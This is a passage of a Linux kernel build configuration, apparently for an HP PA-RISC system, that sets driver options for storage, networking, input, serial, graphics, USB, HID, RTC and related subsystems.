CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
# CONFIG_BCACHE is not set
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
# CONFIG_DM_CRYPT is not set
# CONFIG_DM_SNAPSHOT is not set
# CONFIG_DM_THIN_PROVISIONING is not set
# CONFIG_DM_CACHE is not set
# CONFIG_DM_MIRROR is not set
CONFIG_DM_RAID=m
# CONFIG_DM_ZERO is not set
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
CONFIG_DM_UEVENT=y
# CONFIG_DM_FLAKEY is not set
# CONFIG_DM_VERITY is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
CONFIG_DUMMY=m
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
CONFIG_MII=m
# CONFIG_NET_TEAM is not set
CONFIG_MACVLAN=m
CONFIG_MACVTAP=m
# CONFIG_VXLAN is not set
CONFIG_NETCONSOLE=m
CONFIG_NETCONSOLE_DYNAMIC=y
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_CADENCE is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=y
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
CONFIG_NET_VENDOR_HP=y
CONFIG_HP100=m
CONFIG_NET_VENDOR_INTEL=y
# CONFIG_E100 is not set
# CONFIG_E1000 is not set
# CONFIG_E1000E is not set
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGB is not set
# CONFIG_IXGBE is not set
CONFIG_NET_VENDOR_I825XX=y
CONFIG_LASI_82596=y
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
CONFIG_NET_PACKET_ENGINE=y
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
CONFIG_NET_VENDOR_QLOGIC=y
CONFIG_QLA3XXX=m
CONFIG_QLCNIC=m
CONFIG_QLCNIC_SRIOV=y
CONFIG_QLGE=m
# CONFIG_NETXEN_NIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PHYLIB=y

#
# MII PHY device drivers
#
# CONFIG_AT803X_PHY is not set
# CONFIG_AMD_PHY is not set
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
# CONFIG_BCM87XX_PHY is not set
CONFIG_ICPLUS_PHY=m
CONFIG_REALTEK_PHY=m
CONFIG_NATIONAL_PHY=m
CONFIG_STE10XP=m
CONFIG_LSI_ET1011C_PHY=m
# CONFIG_MICREL_PHY is not set
# CONFIG_FIXED_PHY is not set
CONFIG_MDIO_BITBANG=m
# CONFIG_PPP is not set
CONFIG_SLIP=m
CONFIG_SLHC=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_RTL8152 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
# CONFIG_KEYBOARD_HIL is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
# CONFIG_INPUT_CM109 is not set
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=m
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_IMS_PCU is not set
# CONFIG_INPUT_CMA3000 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_DEVPTS_MULTIPLE_INSTANCES=y
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_NOZOMI=m
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=m
CONFIG_HW_RANDOM_TIMERIOMEM=m
CONFIG_HW_RANDOM_TPM=m
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
CONFIG_TCG_TPM=m
CONFIG_TCG_ATMEL=m
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# Qualcomm MSM SSBI bus support
#
# CONFIG_SSBI is not set
# CONFIG_HSI is not set

#
# PPS support
#
CONFIG_PPS=m
# CONFIG_PPS_DEBUG is not set
# CONFIG_NTP_PPS is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_GPIO is not set

#
# PPS generators support
#

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=m

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
# CONFIG_PTP_1588_CLOCK_PCH is not set
CONFIG_GPIO_DEVRES=y
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_POWER_AVS is not set
CONFIG_HWMON=m
CONFIG_HWMON_VID=m
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
CONFIG_SENSORS_I5K_AMB=m
# CONFIG_SENSORS_F71805F is not set
CONFIG_SENSORS_F71882FG=m
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_PC87360 is not set
CONFIG_SENSORS_PC87427=m
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH56XX_COMMON is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_VIA686A is not set
CONFIG_SENSORS_VT1211=m
CONFIG_SENSORS_VT8231=m
# CONFIG_SENSORS_W83627HF is not set
CONFIG_SENSORS_W83627EHF=m
# CONFIG_THERMAL is not set
CONFIG_WATCHDOG=y
CONFIG_WATCHDOG_CORE=y
# CONFIG_WATCHDOG_NOWAYOUT is not set

#
# Watchdog Device Drivers
#
CONFIG_SOFT_WATCHDOG=m
# CONFIG_ALIM7101_WDT is not set
# CONFIG_I6300ESB_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
# CONFIG_USBPCWATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=m
# CONFIG_MFD_CROS_EC is not set
CONFIG_HTC_PASIC3=m
# CONFIG_LPC_ICH is not set
CONFIG_LPC_SCH=m
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_VIPERBOARD is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
CONFIG_MFD_SM501=m
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
# CONFIG_REGULATOR_DUMMY is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=m
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
CONFIG_REGULATOR_USERSPACE_CONSUMER=m
CONFIG_MEDIA_SUPPORT=m

#
# Multimedia core support
#
# CONFIG_MEDIA_CAMERA_SUPPORT is not set
# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set
# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set
# CONFIG_MEDIA_RADIO_SUPPORT is not set
# CONFIG_MEDIA_RC_SUPPORT is not set
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set

#
# Media drivers
#
# CONFIG_MEDIA_USB_SUPPORT is not set
# CONFIG_MEDIA_PCI_SUPPORT is not set

#
# Supported MMC/SDIO adapters
#
# CONFIG_CYPRESS_FIRMWARE is not set

#
# Media ancillary drivers (tuners, sensors, i2c, frontends)
#

#
# Customise DVB Frontends
#

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
CONFIG_FB_SYS_FILLRECT=m
CONFIG_FB_SYS_COPYAREA=m
CONFIG_FB_SYS_IMAGEBLIT=m
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYS_FOPS=m
CONFIG_FB_DEFERRED_IO=y
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_TMIO is not set
CONFIG_FB_SM501=m
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_GOLDFISH is not set
# CONFIG_FB_VIRTUAL is not set
CONFIG_FB_METRONOME=m
CONFIG_FB_MB862XX=m
CONFIG_FB_MB862XX_PCI_GDC=y
# CONFIG_FB_BROADSHEET is not set
# CONFIG_FB_AUO_K190X is not set
# CONFIG_EXYNOS_VIDEO is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
# CONFIG_LCD_CLASS_DEVICE is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_GENERIC is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y
# CONFIG_SOUND is not set

#
# HID support
#
CONFIG_HID=m
CONFIG_HIDRAW=y
# CONFIG_UHID is not set
CONFIG_HID_GENERIC=m

#
# Special HID drivers
#
CONFIG_HID_A4TECH=m
# CONFIG_HID_ACRUX is not set
CONFIG_HID_APPLE=m
# CONFIG_HID_APPLEIR is not set
# CONFIG_HID_AUREAL is not set
CONFIG_HID_BELKIN=m
CONFIG_HID_CHERRY=m
CONFIG_HID_CHICONY=m
CONFIG_HID_CYPRESS=m
CONFIG_HID_DRAGONRISE=m
CONFIG_DRAGONRISE_FF=y
# CONFIG_HID_EMS_FF is not set
# CONFIG_HID_ELECOM is not set
CONFIG_HID_EZKEY=m
# CONFIG_HID_HOLTEK is not set
# CONFIG_HID_KEYTOUCH is not set
CONFIG_HID_KYE=m
# CONFIG_HID_UCLOGIC is not set
# CONFIG_HID_WALTOP is not set
CONFIG_HID_GYRATION=m
# CONFIG_HID_ICADE is not set
CONFIG_HID_TWINHAN=m
CONFIG_HID_KENSINGTON=m
# CONFIG_HID_LCPOWER is not set
# CONFIG_HID_LENOVO_TPKBD is not set
CONFIG_HID_LOGITECH=m
# CONFIG_HID_LOGITECH_DJ is not set
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
# CONFIG_LOGIG940_FF is not set
CONFIG_LOGIWHEELS_FF=y
# CONFIG_HID_MAGICMOUSE is not set
CONFIG_HID_MICROSOFT=m
CONFIG_HID_MONTEREY=m
# CONFIG_HID_MULTITOUCH is not set
CONFIG_HID_NTRIG=m
# CONFIG_HID_ORTEK is not set
CONFIG_HID_PANTHERLORD=m
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PETALYNX=m
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_PRIMAX is not set
# CONFIG_HID_PS3REMOTE is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_SAITEK is not set
CONFIG_HID_SAMSUNG=m
CONFIG_HID_SONY=m
# CONFIG_HID_SPEEDLINK is not set
# CONFIG_HID_STEELSERIES is not set
CONFIG_HID_SUNPLUS=m
CONFIG_HID_GREENASIA=m
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=m
CONFIG_SMARTJOYPLUS_FF=y
# CONFIG_HID_TIVO is not set
CONFIG_HID_TOPSEED=m
# CONFIG_HID_THINGM is not set
CONFIG_HID_THRUSTMASTER=m
CONFIG_THRUSTMASTER_FF=y
# CONFIG_HID_WACOM is not set
# CONFIG_HID_WIIMOTE is not set
CONFIG_HID_ZEROPLUS=m
CONFIG_ZEROPLUS_FF=y
# CONFIG_HID_ZYDACRON is not set
# CONFIG_HID_SENSOR_HUB is not set

#
# USB HID support
#
CONFIG_USB_HID=m
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB_ARCH_HAS_XHCI=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=m
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_MON=m
CONFIG_USB_WUSB_CBAF=m
# CONFIG_USB_WUSB_CBAF_DEBUG is not set

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=m
CONFIG_USB_XHCI_HCD=m
# CONFIG_USB_XHCI_HCD_DEBUGGING is not set
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=m
# CONFIG_USB_EHCI_HCD_PLATFORM is not set
# CONFIG_USB_OXU210HP_HCD is not set
CONFIG_USB_ISP116X_HCD=m
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_HCD_SSB is not set
# CONFIG_USB_OHCI_HCD_PLATFORM is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
CONFIG_USB_R8A66597_HCD=m
# CONFIG_USB_HCD_SSB is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=m
CONFIG_USB_PRINTER=m
CONFIG_USB_WDM=m
CONFIG_USB_TMC=m

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
# CONFIG_USB_STORAGE is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_DWC3 is not set
# CONFIG_USB_CHIPIDEA is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_EZUSB_FX2 is not set
# CONFIG_USB_PHY is not set
# CONFIG_USB_GADGET is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y

#
# LED drivers
#
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_OT200 is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=y
CONFIG_LEDS_TRIGGER_ONESHOT=y
CONFIG_LEDS_TRIGGER_IDE_DISK=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=m
CONFIG_LEDS_TRIGGER_BACKLIGHT=m
# CONFIG_LEDS_TRIGGER_CPU is not set
CONFIG_LEDS_TRIGGER_DEFAULT_ON=m

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_LEDS_TRIGGER_TRANSIENT is not set
# CONFIG_LEDS_TRIGGER_CAMERA is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_DS1286=m
CONFIG_RTC_DRV_DS1511=m
CONFIG_RTC_DRV_DS1553=m
CONFIG_RTC_DRV_DS1742=m
CONFIG_RTC_DRV_STK17TA8=m
CONFIG_RTC_DRV_M48T86=m
CONFIG_RTC_DRV_M48T35=m
CONFIG_RTC_DRV_M48T59=m
# CONFIG_RTC_DRV_MSM6242 is not set
CONFIG_RTC_DRV_BQ4802=m
# CONFIG_RTC_DRV_RP5C01 is not set
CONFIG_RTC_DRV_V3020=m
# CONFIG_RTC_DRV_DS2404 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=y
# CONFIG_UIO_CIF is not set
# CONFIG_UIO_PDRV is not set
CONFIG_UIO_PDRV_GENIRQ=m
# CONFIG_UIO_DMEM_GENIRQ is not set
CONFIG_UIO_AEC=m
CONFIG_UIO_SERCOS3=m
CONFIG_UIO_PCI_GENERIC=m
# CONFIG_UIO_NETX is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
CONFIG_STAGING=y
# CONFIG_ET131X is not set
# CONFIG_USBIP_CORE is not set
# CONFIG_ECHO is not set
# CONFIG_COMEDI is not set
# CONFIG_ASUS_OLED is not set
# CONFIG_RTS5139 is not set
# CONFIG_TRANZPORT is not set
# CONFIG_IDE_PHISON is not set
# CONFIG_DX_SEP is not set
# CONFIG_ZSMALLOC is not set
# CONFIG_FB_SM7XX is not set
# CONFIG_CRYSTALHD is not set
# CONFIG_FB_XGI is not set
# CONFIG_USB_ENESTORAGE is not set
# CONFIG_BCM_WIMAX is not set
# CONFIG_FT1000 is not set

#
# Speakup console speech
#
# CONFIG_SPEAKUP is not set
# CONFIG_STAGING_MEDIA is not set

#
# Android
#
# CONFIG_ANDROID is not set
# CONFIG_USB_WPAN_HCD is not set
# CONFIG_WIMAX_GDM72XX is not set
# CONFIG_NET_VENDOR_SILICOM is not set
# CONFIG_CED1401 is not set
# CONFIG_DGRP is not set
# CONFIG_USB_DWC2 is not set

#
# Hardware Spinlock drivers
#
# CONFIG_MAILBOX is not set
CONFIG_IOMMU_SUPPORT=y

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
